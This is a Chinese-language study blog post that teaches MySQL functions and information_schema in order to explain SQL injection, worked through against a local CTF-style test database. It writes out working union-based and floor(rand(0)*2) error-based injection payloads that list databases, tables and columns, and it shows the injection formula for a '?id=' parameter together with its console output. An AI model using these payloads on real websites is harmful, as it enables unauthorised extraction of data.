在做web题的时候总被sql注入类型难住,最近决定认认真真地把SQL以及数据库相关知识好好补下坑。。。
参考资料来源: https://baijiahao.baidu.com/s?id=1595349117525189591&wfr=spider&for=pc https://www.cnblogs.com/bobi-PHP-blog/p/7508660.html http://www.w3school.com.cn/sql/
下面我们实验对象库为test
,表为room
、k0y
,以及数据库自带的一些库表。
查询部分
常用函数/关键字
在进行sql注入时,往往我们只想得到我们想要的结果,并将其以较为简单的方式呈现出来,这时就会使用下面几个常用的方法:
order by
每个表中都会有字段名,字段名,即表的第一行所列出的'项目名',可以理解为这里有一张成绩单,第一行即为姓名、学号、语文、数学、英语等等以此类推,下面便是与上面这些'项目名'所对应的'值'。
order
by语句用于根据指定的列对结果集进行排序。比如上面的成绩单,如果我在查询语句后面加上'要求':order by id
,id我们认为是学号。那么这张表就会按照学号升序的顺序(默认为升序,加上desc关键字可变为降序)打印出来。
比如下面这张信息表,里面分别是id,name,age三个信息:
如果我加上order by的要求:
可以看到查询结果会以年龄的升序打印出来。那么,在sql注入中有什么作用呢?。往往在注入时,我们需提前判断这个表有几个字段,那么我们就可以如此实验:
1 | select * from room order by 1; |
前面都会正常返回信息,而当试到4时就会返回信息:
为什么呢?因为这张表只有3个字段名:id,name,age。当然,这里是实验,所以我们提前知道有三个字段名及其名称。如果不知道字段名数量的话,通过这种方法我们便可以判断出来字段名的数量了。
concat_ws():
我们先来了解一下函数concat(),该函数的功能是将多个字符串进行连接,格式为concat(str1,str2...)
。还是刚才那个表,我们进行一个整理:select concat(id, ',', name, ',' ,age) as info from room;
可以看到该函数将三个字段名下的对应值连接了起来,简单但是也有缺点。上面我在每个字段名称之间加了,
来分隔各个值以便辨认,如果字段名数量多了呢?于是有了concat_ws()。
功能与concat()函数差不多,只不过可以指定分隔符,如上面的语句可以改写为:select concat_ws(',', id, name, age) as info from room;
,效果相同。
在sql注入中我们经常会在正常查询语句中插入我们想知道的信息的查询方法,如下面这句SELECT * FROM room WHERE id='' union select user(),database(),version() LIMIT 0,1;
,我们便可以查询到一些想要的信息。
group_concat()
同样,我们先来了解group by的作用,如下代码:
1 | select * from room group by id; |
结果即为以id作为整理的依据,默认的顺序为从小到大。
group_concat()
与group by
的关系和concat()
与concat_ws()
的关系是类似的,只不过可以与group
by同时使用,对group by的结果进行一个整理。
举一个例子说明:
1 | select age, group_concat(name) from room group by age; |
可以这么理解:
- 我现在要查询按年龄分组的结果,我的查询对象是
age
,所以我选择select age
; - 我想要按这个分类标准来获得姓名的分组,所以我选择
group_concat(name)
; - 来自哪里呢?
from room
; - 好的整理好了,按什么顺序排列呢?按照年龄大小吧!
group by age;
。
这就是整个句子的含义了。
在注入中怎么运用呢?在知道当前表的字段名数量后,我们就可以利用group_concat()来进行注入查询。比如下面这个语句查询了当前所有的库名:
1 | SELECT * FROM room WHERE id='' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 LIMIT 0,1; |
查询结果: 下面放一个结合了上面三个常用的查询方法的组合:
1 | select age, group_concat(concat_ws('--', id, name)) from room group by age; |
information_schema的利用与简单注入
下面是information_schema
库中的所有表信息: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| OPTIMIZER_TRACE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
| INNODB_LOCKS |
| INNODB_TRX |
| INNODB_SYS_DATAFILES |
| INNODB_FT_CONFIG |
| INNODB_SYS_VIRTUAL |
| INNODB_CMP |
| INNODB_FT_BEING_DELETED |
| INNODB_CMP_RESET |
| INNODB_CMP_PER_INDEX |
| INNODB_CMPMEM_RESET |
| INNODB_FT_DELETED |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_LOCK_WAITS |
| INNODB_TEMP_TABLE_INFO |
| INNODB_SYS_INDEXES |
| INNODB_SYS_TABLES |
| INNODB_SYS_FIELDS |
| INNODB_CMP_PER_INDEX_RESET |
| INNODB_BUFFER_PAGE |
| INNODB_FT_DEFAULT_STOPWORD |
| INNODB_FT_INDEX_TABLE |
| INNODB_FT_INDEX_CACHE |
| INNODB_SYS_TABLESPACES |
| INNODB_METRICS |
| INNODB_SYS_FOREIGN_COLS |
| INNODB_CMPMEM |
| INNODB_BUFFER_POOL_STATS |
| INNODB_SYS_COLUMNS |
| INNODB_SYS_FOREIGN |
| INNODB_SYS_TABLESTATS |
+---------------------------------------+
information_schema库,schema单词的意思意为:概要、计划、图表。里面诸如schemata表、colmuns表等等,这些表记录了当前的所有数据库名,所有表的列名等等,如果我们得知了这些信息,就可以通过诸如来得知我们想要的信息了。
SCHEMATA表
该表提供了当前mysql实例中所有数据库的信息。show databases;
的结果就取之此表。我们查看一下效果:
可以看到当前我所建立的所有库。如果我们使用注入语句(实验使用的是我上面用的room表):
1 | SELECT * FROM room WHERE id='' union select 1,(select group_concat(schema_name) from information_schema.schemata),3; |
首先使用单引号闭合前面的单引号,使其成为空查询,于是结果为后面我们插入的union查询语句,查询内容即information_schema中的schemata表中的所有schema_name字段值。
在前面的查询方法中我们通过插入database()
字段,已经得知了当前我们使用的库为test
,配合我们查出的schema_name值,我们就确定了我们下手的数据库,接下来即查询该数据库内的所有表来得出我们想要的东西。
TABLES表
该表提供了关于数据库中的各个表的信息。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from (schemaname)的结果取之此表。
1 | +-----------------+---------------------+------+-----+---------+-------+ |
从上表我们可以看到在这个information_schema库下的TABLES表中记录了这些关于表的重要信息,如该表所在目录,该表所在数据库(TABLE_SCHEMA),该表名称,该表类型,所使用引擎,所出版本。
如下图就是room表的部分信息:
从中我们可以看到room表的所处数据库名单名称,表的名称,所用的储存引擎等等信息。
在上一题步中我们已经得知了所使用表的所在数据库名称---test,我们可以通过已知的库名来查询这个库内的所有表名,由此来缩小我们的查找范围。注入语句:
1 | SELECT * FROM room WHERE id='' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='test'),3; |
得到结果:
如果是一道CTF题,我们就已经得出了答案,即图中的k0y
表,下来我们获得其字段及值。
COLUMNS表
提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。show columns from schemaname.tablename
的结果取之此表。
1 | +--------------------------+---------------------+------+-----+---------+-------+ |
该表显示了在COLUMNS表中所包含的信息,如:表所在目录,表所在数据库,表的名称,列的名称(columns_name),等等。
1 | SELECT * FROM room WHERE id='' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='k0y'),3; |
可以看到在k0y表中存在字段名fl@g,下来我们就可以直接查询了。
SELECT * FROM room WHERE id='' union select * from k0y;
:
至此我们得出答案,实验结束。
关于SQLI
SQL注入的原理,即因为程序员对用户输入的合法性没有做充分的检验与过滤,导致了SQL注入漏洞。一次SQL注入攻击可以简单分为以下几个步骤:
- 判断注入点
- 判断注入点类型
- 判断数据库类型
- 获取数据库
上面的实验中就是一个最简单的注入示范,只不过我们没有设置waf,没有对我的输入进行任何措施性的操作,一般情况下在网页中,都会对用户的输入进行过滤,比如嵌入php脚本,设置一些对用户输入过滤的函数来达到防御的措施。
并且,上面的实验中我们都会有一个提示----来自数据库的错误提示,根据这个提示我们可以判断输入数据的类型,以此来修改我们的输入语句。BUT,往往实际中是没有上面实验中那么多的提示的,这就不得不引出常见注入的类型了.
根据获得信息的手段、过程可以分为下面三种注入类型:
- 基于报错注入:即页面会返回错误信息,或返回注入所想要得到的信息。我们上面的实验就是一种基于报错的注入,比如数据库给我们返回了
Unknown column '4' in 'order clause'
的信息,我们便可以由此来判断表的字段数。 - 基于布尔的盲注:即可以根据返回页面判断条件真假的注入。
- 基于时间的盲注:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。 第一种我们的实验就是一个例子,后两种类型叫盲注,是因为缺少提示信息,往往需要特殊手段或者写一些注入脚本来完成注入,比如使用python来进行盲注就是一种常见的手段。
常见的注入点类型有以下两种:
- 数字型:即在GET请求中访问如
?id=XX
的类型,往往请求量类型为数字,不需要我们闭合单引号或双引号,如该处的查询语句为SELECT * FROM users WHERE id=$id LIMIT 0,1
,我们直接插入注入语句,并使用%23
、--+
、/*
、%00
、#
等符号来注释掉后面部分即可。 - 字符串型:与上边不同的是,该处请求量类型为字符串类型,需要我们闭合单引号或双引号或者一些如
()
的符号,如:SELECT * FROM users WHERE id='$id'
我们就需要闭合''
后进行注入,并对后面的内容进行注释。
另一个实验(报错型盲注)
上一个实验我们进行了一个简单的基于报错的注入,但是往往这种情况是很少的,避免较多的网页错误提示也可以起到防御作用,那么下面我们使用一个特殊的手段来"迫使"它给出提示-----报错型盲注。
这种方法要使用到几个函数和关键字,这里先列出来,然后我们将在本地进行实验来一一验证他们的作用,以及他们的配合使用。floor()
、rand()
、count()
、group by
。group
by这里不做详解。
floor()
官方解释:Returns the largest integer value not greater than X.
,即返回一个小于等于参数的最大的数。
rand()
官方解释:Returns a random floating-point value v in the range 0 <= v < 1.0. To obtain a random integer R in the range i <= R < j, use the expression FLOOR(i + RAND() * (j − i)).
,即在没有指定参数时,其返回值是0到1之间的一个任意数。如下图:
如果想要指定范围内的任意数,可以使用上面的floor和rand()组合,比如floor(1 + rand() * 4)
就会返回1到4之间的任意整数,如下图:
如果指定了参数,返回值就不再是一个任意值了,而是一个确定值,官方解释:If an integer argument N is specified, it is used as the seed value
One implication of this behavior is that for equal argument values, RAND(N) returns the same value each time, and thus produces a repeatable sequence of column values.
。如果你设定了参数,即相当于你设置了一个'种子',这样的计算结果将会是一个固定的值。
也就是说:RAND() is not meant to be a perfect random generator. It is a fast way to generate random numbers
,它是一个快速生成随机数的方法。
count()
官方解释:Returns a count of the number of non-NULL values of <i>expr</i> in the rows retrieved by a SELECT statement. The result is a BIGINT value. If there are no matching rows, COUNT() returns 0.
即该函数会返回行的数量。如我查询表room中的行数:select count(*) from room;
可以看到返回了记录的条数。
报错原理
该注入属于MySQL的第8652号bug :Bug #8652 group by part of rand()
returns duplicate key error。即利用group
by和rand()函数的组合,使其返回duplicate
key的错误,duplicate key
的意思为重复的密钥。
这里先放上注入的公式:假设我们用order
by实验出该表共有三个字段,?id=1' union Select 1,count(*),concat(你希望的查询语句,floor(rand(0)*2))a from information_schema.columns group by a--+
`我们可以这么理解这个问题,sql在你每次查询时都会创立一个虚拟表,这个虚拟表用于存放你查询的数据-----因为我们使用了count(*)函数,根据上面函数的介绍,我们知道,这个虚拟表中是不会出现两个相同的数据的,他们会根据group by的排序规则自动整理合并,问题就出在这里了。
如果我们在group by排序规则中设置了一个任意数会发生什么呢?任意也就意味会出现相同,也就意味相同的结果。但是事实上是不允许出现相同的结果的,这是就会报错,就会泄露出重要的信息,下面我们来对room表进行报错型盲注。
开始试验
套用公式(该表共有三个字段):select 1,count(*),concat(0x23,0x23,database(),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a;
从返回信息中可以看出,这个表所在数据库为test
。
我们先使用
count(table_name)
搞清楚有几个表在test库里,之后我们修改LIMIT参数分别查看即可。Select 1,count(*),concat(0x23,0x23,(select count(table_name) from information_schema.tables where table_schema='test'),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a;
看来是有四个表了。下来我们修改LIMIT参数:
1 | mysql> Select 1,count(*),concat(0x23,0x23,(select table_name from information_schema.tables where table_schema='test' limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a; |
- 我们得出结论,在test这个库里共有四张表:
k0y
,mytest
,room
,tb_emp1
,看来答案在k0y
表中,下来我们爆列数量。Select 1,count(*),concat(0x23,0x23,(select count(column_name) from information_schema.columns where table_schema='test' and table_name='k0y' limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a;
1 | mysql> Select 1,count(*),concat(0x23,0x23,(select count(column_name) from information_schema.columns where table_schema='test' and table_name='k0y' limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a; |
- 看来只有一个字段。爆列名:
Select 1,count(*),concat(0x23,0x23,(select column_name from information_schema.columns where table_schema='test' and table_name='k0y' limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a;
1 | mysql> Select 1,count(*),concat(0x23,0x23,(select column_name from information_schema.columns where table_schema='test' and table_name='k0y' limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a; |
- 是答案无误了。爆数据:
Select 1,count(*),concat(0x23,0x23,(select * from k0y limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a;
1 | mysql> Select 1,count(*),concat(0x23,0x23,(select * from k0y limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a; |
至此得到答案Y0U G@T M3!
,实验结束。
小结
虽然有sqlmap这样的工具,但我认为我们应当去更多的了解关于数据库的知识,如它的运行工作原理、各种函数用法、语法等等,只有了解了这些才能更好的运用他们去发现漏洞,正如上面的报错型盲注,谁又能想到这几个简单函数就能做到呢? 不断学习,不断探索,不断发现。